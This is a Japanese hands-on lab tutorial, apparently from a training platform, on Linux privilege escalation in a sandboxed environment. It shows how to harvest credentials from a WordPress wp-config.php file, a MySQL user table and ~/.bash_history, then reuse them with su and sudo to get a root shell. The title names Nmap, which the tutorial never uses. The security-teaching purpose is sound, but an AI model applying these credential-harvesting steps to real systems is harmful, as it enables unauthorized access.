Nmap で特権昇格のための機密設定ファイルを見つけて利用する

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Linux システム上の機密性の高い設定ファイルを見つけ、それを悪用して特権を root に昇格させる方法を学びます。目的は、Web サービスの設定ファイルやユーザー関連の設定ファイルを深く理解し、それらを特権昇格に利用する方法を習得することです。Web の脆弱性を通じて、すでに www-data ユーザーのような低特権のシェルを取得していると仮定し、root へのアクセスを昇格させる手法を探ります。


Skills Graph

Web サービス設定ファイルの調査

Web サービスの設定ファイルには、データベースの資格情報などの機密情報が含まれている場合があります。管理者がパスワードを再利用している場合、これらの情報を特権昇格に利用することができます。

  1. まず、ターミナルを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    実験環境を初期化しましょう。

    ./env_setup_1.sh

    初期化が完了すると、www-data ユーザーとして操作を行います。これは、Web の脆弱性を通じて取得した低特権のシェルをシミュレートしています。

  2. Linux 上の Web サービスは通常、/var/www ディレクトリに保存されています。以下のファイルに注目する必要があります。

    • database.php
    • user.php
    • *.config
    • config.php

    次のコマンドを使用して、これらのファイルを検索することができます。

    find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null

    期待される出力:

    /var/www/wordpress/wp-admin/includes/user.php
    /var/www/wordpress/wp-includes/user.php
    /var/www/wordpress/wp-content/plugins/akismet/views/config.php

    さらに、ターゲットシステムがコンテンツ管理システム (CMS) を使用している場合、その特定の CMS のデフォルトのデータベース接続ファイルの場所を検索することができます。

  3. この実験環境では、サーバーは WordPress CMS を使用しています。検索すると、WordPress のデータベース設定が /var/www/wordpress/wp-config.php ファイルに保存されていることがわかります。

    more /var/www/wordpress/wp-config.php

    このファイルには、MySQL の root アカウントの資格情報が含まれています。

    /** MySQL database username */
    define( 'DB_USER', 'root' );
    
    /** MySQL database password */
    define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
  4. 管理者がパスワードを再利用している可能性を考慮して、このパスワードを使用してシステムの root ユーザーとしてログインを試みることができます。

    su -

    残念ながら、このパスワードは root ユーザーには適用されません。

  5. 次に、MySQL データベースにログインし、さらに情報を検索することができます。

    mysql -u root -p -h 127.0.0.1

    wp-config.php ファイルから取得したパスワードを入力します。

    cD8M2M8fMiDHu4m1

    MySQL データベース内で、以下のコマンドを実行して、さらに情報を収集することができます。

    利用可能なデータベースを確認します。

    show databases;

    ROB データベースを選択します。

    use ROB;

    ROB データベース内のテーブルを一覧表示します。

    show tables;

    rob_user テーブルを選択します。

    select * from rob_user;

    データベースから、さらに 2 組の資格情報を取得します。

    root:CMPc5MoAGf
    alice:psoj9apv4u

    MySQL データベースから抜けます。

    exit
  6. パスワード CMPc5MoAGf を使用して root ユーザーとしてログインを試みることができます。

    su -

    データベースから取得したパスワードを入力します。

    CMPc5MoAGf

    今回は、root アクセスを正常に取得できました!

  7. 特権昇格が成功したことを証明するために、/root ディレクトリに proof.txt という名前のファイルを作成します。

    echo "Success" > /root/proof.txt

    ファイルが作成されたことを確認します。

    ls /root/proof.txt

このステップでは、Web サービスの設定ファイル内の機密情報を見つけ、それを利用して特権を昇格させる方法を学びました。核心的な考え方は、サーバー上の認証資格情報を検索し、パスワードの再利用の可能性を利用して特権を昇格させることです。

ユーザー関連設定ファイルの調査

このステップでは、機密情報を含む可能性のあるユーザー関連の設定ファイルに焦点を当てます。

前のステップの後、あなたはまだ root シェルでいるかもしれません。このステップでは、以下のコマンドを実行して labex ユーザーに切り替えます。

su - labex
  1. まず、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    実験環境を初期化しましょう。

    ./env_setup_2.sh

    初期化が完了すると、user001 ユーザーとして操作を行います。

  2. 調査する主なユーザー関連の設定ファイルは以下の 2 つです。

    • ~/.bash_profile: 環境変数や起動プログラムの設定に使用されます。このファイルはユーザーがログインするときに実行されます。
    • ~/.bash_history: 各ユーザーのホームディレクトリにあるファイルで、ユーザーのシェルコマンド履歴を記録します。通常は最後の 1000 個のコマンドが保存されます(一部の Linux ディストリビューションではこの機能が無効になっている場合があります)。
  3. まず、~/.bash_profile ファイルを確認しましょう。

    cat ~/.bash_profile

    期待される出力:

    cat: /home/user001/.bash_profile: No such file or directory

    この場合、user001 ユーザーは ~/.bash_profile ファイルを使用していないようです。

  4. 次に、~/.bash_history ファイルを確認しましょう。

    cat ~/.bash_history

    ここで、履歴に記録されたコマンドが見つかります。

    ...
    echo user001:09FMWNFS7n | chpasswd
    ...

    このコマンドは、user001 ユーザーのパスワードが 09FMWNFS7n に変更されたことを示しています。

  5. このパスワードを使用して、特権を昇格させることを試みることができます。

    sudo whoami

    そして、~/.bash_history ファイルから見つけたパスワードを入力します。

    09FMWNFS7n

    パスワードが正しく、sudo 特権でコマンドを実行することができます。

  6. root シェルを取得するには、以下のコマンドを使用することができます。

    sudo /bin/bash -p

    ユーザーのコマンド履歴からの情報を利用して、正常に root シェルを取得しました。

  7. 最後に、/root ディレクトリに success.txt という名前のファイルを作成して、実験を完了させます。

    echo "Congratulations" | sudo tee /root/success.txt

まとめ

この実験では、Linux システム上で Web サービスの設定ファイルやユーザー関連の設定ファイル内の機密情報を見つけ、それを利用して特権を昇格させる方法を学びました。データベース接続ファイル、ユーザーのコマンド履歴、その他の設定ファイルなど、認証資格情報を含む可能性のあるファイルを検索する手法を探りました。パスワードの再利用の可能性を利用することで、root アクセスを取得することができました。

重要なポイントは、システム上に保存されている機密情報を常に探し続けることです。これは、特権昇格につながる可能性があるためです。この実験では特定の種類のファイルに焦点を当てましたが、特権昇格の目的で悪用される可能性のあるファイルや情報を常に探し続ける姿勢を持つことが重要です。